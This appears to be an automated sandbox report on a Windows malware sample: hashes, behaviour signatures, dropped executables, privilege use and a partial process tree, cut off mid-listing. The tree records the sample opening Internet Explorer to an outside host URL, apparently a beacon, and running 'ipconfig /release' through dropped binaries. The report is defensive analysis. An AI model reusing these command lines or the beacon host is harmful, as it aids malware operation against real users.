e10803c93ce79ad092f02f63fe2c9878916342002b605067da2b3e0c100b49b0

Analysis

max time kernel
150s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 21:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe
Size 243KB
Sample260930-1eq2psah44
SHA256 e10803c93ce79ad092f02f63fe2c9878916342002b605067da2b3e0c100b49b0
MD5 444901d17aae8524cb0393ae452d3971
SHA1 d576f050c423de1d709051517073964cced350fe
SHA512 8b7cae047aebebe7ac4280f9eadc2341d86eeacf6cbef828f0bc580f7aa7d94a569c34c6c73a087025a00a6b7d9f02adf67c02b7eb69d614ca531b4d1f36f359
SSDEEP 3072:iBb3TfLlaJhb7yra3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7+:6b3TfLAUa3lLNngoqRttA7+
TLSH
T124344A0172818071E75A0B78045AEBA1867E7C384BA5E5CFF7683F795A312D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
2400	CP.exe
2832	gbztrmjecw.exe
960	CP.exe
416	CP.exe
3768	i_gbztrmjecw.exe
5012	rljdbwtomg.sys
4772	CP.exe
1588	ywqojgbytr.exe
4996	CP.exe
3264	CP.exe
4308	i_ywqojgbytr.exe
2972	gbytrljdbv.sys
1812	CP.exe
4288	vtolgeywqo.exe
2188	CP.exe
4208	CP.exe
4552	i_vtolgeywqo.exe
3364	lgdywqoiga.sys
4780	CP.exe
5028	aysqlidbvt.exe
2876	CP.exe
3788	CP.exe
2336	i_aysqlidbvt.exe
5012	xvqnigaysq.sys
2256	CP.exe
4568	nlfdxvpnif.exe
1620	CP.exe
2320	CP.exe
548	i_nlfdxvpnif.exe
2380	vpnifaysqk.sys
4520	CP.exe
4416	kfcxvpnhfz.exe
2088	CP.exe
2040	CP.exe
4796	i_kfcxvpnhfz.exe
4092	hfzxspkica.sys
4812	CP.exe
2196	xupkicamke.exe
2644	CP.exe
3868	CP.exe
1396	i_xupkicamke.exe
4252	usmkecwupm.sys
4984	CP.exe
1300	mhbzurmkec.exe
4268	CP.exe
4504	CP.exe
4896	i_mhbzurmkec.exe
4944	hbztrmjebw.sys
1624	CP.exe
2336	zurmjezwrp.exe
3688	CP.exe
4628	CP.exe
4612	i_zurmjezwrp.exe
4284	jebwuomger.sys
1616	CP.exe
4888	rljdbwtolg.exe
4092	CP.exe
1868	CP.exe
3404	i_rljdbwtolg.exe
3056	bwtomgeywq.sys
1388	CP.exe
2416	qljdbvtgdy.exe
2436	CP.exe
3212	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdxvpnif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupkicamke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkfdxvpfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hczusmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igbytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aysqlidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdxvpnif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupkicamke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmjezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgeywrojy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avtnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkfdxvpnif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomhezxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igbytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gbztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idbvtnlgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hczusmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgeywrojy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gbztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfcxvpnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idbvtnlgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avtnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkfdxvpnif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomhezxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aysqlidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhbzurmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmjezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qljdbvtgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkfdxvpfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgezwrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfcxvpnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qljdbvtgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqojgbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqojgbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhbzurmkec.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3056	ipconfig.exe
4236	ipconfig.exe
4528	ipconfig.exe
3008	ipconfig.exe
2552	ipconfig.exe
2432	ipconfig.exe
4796	ipconfig.exe
1288	ipconfig.exe
468	ipconfig.exe
5004	ipconfig.exe
1648	ipconfig.exe
2176	ipconfig.exe
2524	ipconfig.exe
1244	ipconfig.exe
2552	ipconfig.exe
1168	ipconfig.exe
4988	ipconfig.exe
4980	ipconfig.exe
3784	ipconfig.exe
2708	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2838538633"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e02c96142c51dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "497569092"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{D4488C6D-BD16-11F1-895E-5E640711BF8A} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2834944334"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31281443"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b03fa9142c51dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31281443"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae5500000000020000000000106600000001000020000000a5c784da3a588f25a5605864038b22e3b0a917e69d323f7a73741ec7210a60bd000000000e800000000200002000000023f49155859384d653ec104ad1de440aec6e8a70b7a0a807e1dbcff6df8275bc2000000098c6b9246ee66dc153d7963c4e842ade61b0892ef57a22b89cfb1733796b0e4a400000003f34208a56d9aeef86041445451fed1ad039d9203adc490052d7760ea97d5bf8fc5b82bdb2af13fb03eba3808e4fa8d1672a898aa3e48033057f1350e5d7095f	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae550000000002000000000010660000000100002000000091224c987cf9866eac4cb72b2e9ebaf929fc7a3b604935570df47d1e8abbe1e0000000000e800000000200002000000087849d4ced1f662e491452b88e738a2d11fd9c0f74ebf713853f448005d06c6c2000000052102a6d8594bb2d2d925f06500b27a0fc08d82aa39e7495c96ade5a2b09ce3f400000009a52c58101b72a573e1f046ecdccac610b5df2090b159ce9d12372bbe71238b5c5ffa16dc00b706613cd52bf12c99e09d91cdc217db16d296f9d77c804e10bd1	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	3768	i_gbztrmjecw.exe
Token: SeDebugPrivilege	4308	i_ywqojgbytr.exe
Token: SeDebugPrivilege	4552	i_vtolgeywqo.exe
Token: SeDebugPrivilege	2336	i_aysqlidbvt.exe
Token: SeDebugPrivilege	548	i_nlfdxvpnif.exe
Token: SeDebugPrivilege	4796	i_kfcxvpnhfz.exe
Token: SeDebugPrivilege	1396	i_xupkicamke.exe
Token: SeDebugPrivilege	4896	i_mhbzurmkec.exe
Token: SeDebugPrivilege	4612	i_zurmjezwrp.exe
Token: SeDebugPrivilege	3404	i_rljdbwtolg.exe
Token: SeDebugPrivilege	1392	i_qljdbvtgdy.exe
Token: SeDebugPrivilege	1884	i_idbvtnlgdy.exe
Token: SeDebugPrivilege	372	i_avtnlfdxvq.exe
Token: SeDebugPrivilege	748	i_nkfdxvpnif.exe
Token: SeDebugPrivilege	3044	i_snkfdxvpfz.exe
Token: SeDebugPrivilege	4284	i_hczusmkecx.exe
Token: SeDebugPrivilege	4004	i_wuomhezxrp.exe
Token: SeDebugPrivilege	1036	i_omgezwrojh.exe
Token: SeDebugPrivilege	4944	i_omgeywrojy.exe
Token: SeDebugPrivilege	3008	i_igbytqljdb.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1736	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1736	iexplore.exe
1736	iexplore.exe
3100	IEXPLORE.EXE
3100	IEXPLORE.EXE
3100	IEXPLORE.EXE
3100	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 1736	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	84
PID 1736 wrote to memory of 3100	1736	iexplore.exe	85
PID 1892 wrote to memory of 2400	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	89
PID 2832 wrote to memory of 960	2832	gbztrmjecw.exe	92
PID 1892 wrote to memory of 416	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	99
PID 1892 wrote to memory of 4772	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	104
PID 1588 wrote to memory of 4996	1588	ywqojgbytr.exe	106
PID 1892 wrote to memory of 3264	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	111
PID 1892 wrote to memory of 1812	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	115
PID 4288 wrote to memory of 2188	4288	vtolgeywqo.exe	117
PID 1892 wrote to memory of 4208	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	120
PID 1892 wrote to memory of 4780	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	124
PID 5028 wrote to memory of 2876	5028	aysqlidbvt.exe	126
PID 1892 wrote to memory of 3788	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	129
PID 1892 wrote to memory of 2256	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	134
PID 4568 wrote to memory of 1620	4568	nlfdxvpnif.exe	136
PID 1892 wrote to memory of 2320	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	141
PID 1892 wrote to memory of 4520	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	150
PID 4416 wrote to memory of 2088	4416	kfcxvpnhfz.exe	152
PID 1892 wrote to memory of 2040	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	155
PID 1892 wrote to memory of 4812	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	159
PID 2196 wrote to memory of 2644	2196	xupkicamke.exe	161
PID 1892 wrote to memory of 3868	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	164
PID 1892 wrote to memory of 4984	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	168
PID 1300 wrote to memory of 4268	1300	mhbzurmkec.exe	170
PID 1892 wrote to memory of 4504	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	173
PID 1892 wrote to memory of 1624	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	177
PID 2336 wrote to memory of 3688	2336	zurmjezwrp.exe	179
PID 1892 wrote to memory of 4628	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	182
PID 1892 wrote to memory of 1616	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	186
PID 4888 wrote to memory of 4092	4888	rljdbwtolg.exe	188
PID 1892 wrote to memory of 1868	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	191
PID 1892 wrote to memory of 1388	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	197
PID 2416 wrote to memory of 2436	2416	qljdbvtgdy.exe	199
PID 1892 wrote to memory of 3212	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	202
PID 1892 wrote to memory of 3768	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	206
PID 3984 wrote to memory of 4852	3984	idbvtnlgdy.exe	208
PID 1892 wrote to memory of 4424	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	211
PID 1892 wrote to memory of 3736	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	215
PID 1220 wrote to memory of 1468	1220	avtnlfdxvq.exe	217
PID 1892 wrote to memory of 1524	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	220
PID 1892 wrote to memory of 2800	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	224
PID 4392 wrote to memory of 2972	4392	nkfdxvpnif.exe	226
PID 1892 wrote to memory of 2440	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	229
PID 1892 wrote to memory of 2632	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	234
PID 3996 wrote to memory of 2120	3996	snkfdxvpfz.exe	236
PID 1892 wrote to memory of 1084	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	239
PID 1892 wrote to memory of 3324	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	243
PID 3576 wrote to memory of 1592	3576	hczusmkecx.exe	245
PID 1892 wrote to memory of 1884	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	248
PID 1892 wrote to memory of 1888	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	252
PID 4848 wrote to memory of 900	4848	wuomhezxrp.exe	254
PID 1892 wrote to memory of 4324	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	257
PID 1892 wrote to memory of 1864	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	261
PID 3056 wrote to memory of 548	3056	omgezwrojh.exe	263
PID 1892 wrote to memory of 2668	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	266
PID 1892 wrote to memory of 176	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	270
PID 2692 wrote to memory of 2984	2692	omgeywrojy.exe	272
PID 1892 wrote to memory of 3472	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	275
PID 1892 wrote to memory of 1568	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	279
PID 3128 wrote to memory of 3716	3128	igbytqljdb.exe	281
PID 1892 wrote to memory of 4728	1892	2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe	284

C:\Users\Admin\AppData\Local\Temp\2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-29_444901d17aae8524cb0393ae452d3971_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1736 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:3100
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\gbztrmjecw.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2400
- - C:\Temp\gbztrmjecw.exe
    C:\Temp\gbztrmjecw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:960
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3056
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_gbztrmjecw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:416
- - C:\Temp\i_gbztrmjecw.exe
    C:\Temp\i_gbztrmjecw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3768
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywqojgbytr.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4772
- - C:\Temp\ywqojgbytr.exe
    C:\Temp\ywqojgbytr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1588
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4996
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1648
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywqojgbytr.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3264
- - C:\Temp\i_ywqojgbytr.exe
    C:\Temp\i_ywqojgbytr.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4308
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vtolgeywqo.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1812
- - C:\Temp\vtolgeywqo.exe
    C:\Temp\vtolgeywqo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2188
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2176
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vtolgeywqo.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4208
- - C:\Temp\i_vtolgeywqo.exe
    C:\Temp\i_vtolgeywqo.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4552
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aysqlidbvt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4780
- - C:\Temp\aysqlidbvt.exe
    C:\Temp\aysqlidbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5028
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2876
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2524
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aysqlidbvt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3788
- - C:\Temp\i_aysqlidbvt.exe
    C:\Temp\i_aysqlidbvt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2336
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nlfdxvpnif.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2256
- - C:\Temp\nlfdxvpnif.exe
    C:\Temp\nlfdxvpnif.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4568
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1620
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4796
- C:\temp\CP.exe
